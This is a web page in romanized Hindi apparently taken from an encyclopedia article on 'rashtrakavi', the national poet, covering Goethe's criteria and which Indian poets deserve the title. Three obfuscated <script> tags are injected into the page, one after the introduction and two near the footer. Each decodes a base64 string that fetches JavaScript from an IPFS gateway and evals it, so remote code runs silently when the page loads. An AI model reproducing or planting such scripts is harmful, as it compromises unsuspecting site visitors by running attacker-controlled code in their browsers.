राष्ट्रकवि
rashtrakavi se abhipray hai ki rashtriy adarshoan ko prabhavi roop mean prastut karane vale rashtr-prerak kavy ka rachayita tatha rashtriy sarakar dvara vidhivat ghoshit rashtr mean sarvamany kavi.
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
rashtrakavi ki pahachan
kisi bhi desh ka sachcha rashtriy kavi kaun ho sakata hai? gete ne kaha hai ki rashtrakavi use kahana chahie, jisane-
- apani jati ke itihas ki sabhi pramukh ghatanaoan ke parasparik sambandhoan ka sandhan pa liya hai.
- jise yah jnat ho chuka hai ki usake jatiy itihas mean kaun-kaun b di ghatanaean ghati haian. unake parinam kya nikale haian?
- rashtrakavi ki ek pahachan yah bhi hai ki use apane deshavasiyoan ke bhitar nihit mahatta ka jnan hota hai.
- use apani jati ki gahari anubhootiyoan se parichay hota hai. use is bat ka pata hota hai ki usaki jati ki karmathata ka prerana strot kya hai.
- rashtrakavi ka ek lakshan yah bhi hai ki usaki jati jis umang se chalit hokar sampoorn itihas mean kam karati ayi hai, use vah kalatmak dhang se abhivyakt kare.
- rashtrakavi keval vah kavi ho sakata hai jisaki rachana mean jati apani atma ki pratichchhaya dekhati ho. jisamean us jati ke bahubal ka akhyan ho.
- rashtrakavi vah vainatey[1] hai jo bahut ooanchaee par u data hai, jisaki ek paankh to atit ko samete rahati hai, kintu jo apani doosari paankh se bhavishy ki or sanket karata hai.[2]
- rashtrakavi use kahana chahie jo apane desh ki pratyek sanskriti ko apane mean samo leta hai.
- jo desh ke pratyek varg ka apane ko pratinidhi samajhata hai aur sabhi sampradayoan ke bich jo deshagat aiky hai, use mukhar banata hai.
isi prakar-vishvakavi use kahana chahie jo duniya ke har desh ke bhitar jo aantarrashtriy tatv hai, use vani de. vishvakavi banane ki pahali shart yah hai ki kavi rashtrakavi ho. jo rashtr ke vibhinn avayavoan ka pratinidhitv nahian kar sakata, vah vishv ke vibhinn deshoan ka pratinidhitv kaise karega? aur bharat mean jo bhi rashtrakavi hoga, use vishvakavi hi samajhana chahie, kyoanki bharat, chhote paimane par sara sansar hi hai. jaise pratyek rashtr apani abhivyakti ke lie lalayit rahata hai, usi prakar desh ka pratyek sampraday apani abhivyakti khojata hai. rashtr-purush aur rashtrakavi banana saman roop se kathin kary hai. 'donoan' ke lie asim dhairy aur aparimit udarata ki avashyakata hai.[3]
| 50px|link=maithilisharan gupt | 50px|link=makhan lal chaturvedi | 50px|link=valmiki | 50px|link=kalidas | 50px|link=tulasidas | 50px|link=raviandranath thakur |
rashtrakavi kise kahana chahie?
apane desh mean aur any deshoan mean bhi yah pratha chal rahi hai ki jo bhi kavi rashtriy kavitaean likhata ho use rashtrakavi kah dete haian, kintu yah kafi nahian hai. pratyek jati ki adhyatmik visheshata hoti hai, koee saanskritik vaishishty hota hai, sansar aur jivan ko dekhane ki koee drishti hoti hai, jo kavi is drishti bodh ko abhivyakti de sake, vahi rashtr ka rashtrakavi kahalane ke yogy hai. bharatavarsh mean maithilisharan ji, makhanalal chaturvedi ji aur subrahmanyam bharati ji ko rashtrakavi kahate haian, kintu yah aanshik saty hai. hamare asali rashtrakavi valmiki haian, kalidas haian, tulasidas haian, aur raviandranath thakur haian, kyoanki bharat dharm ko inhoanne sabase adhik abhivyakti di hai.[4]
|
|
|
|
|
|
tika tippani aur sandarbh
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>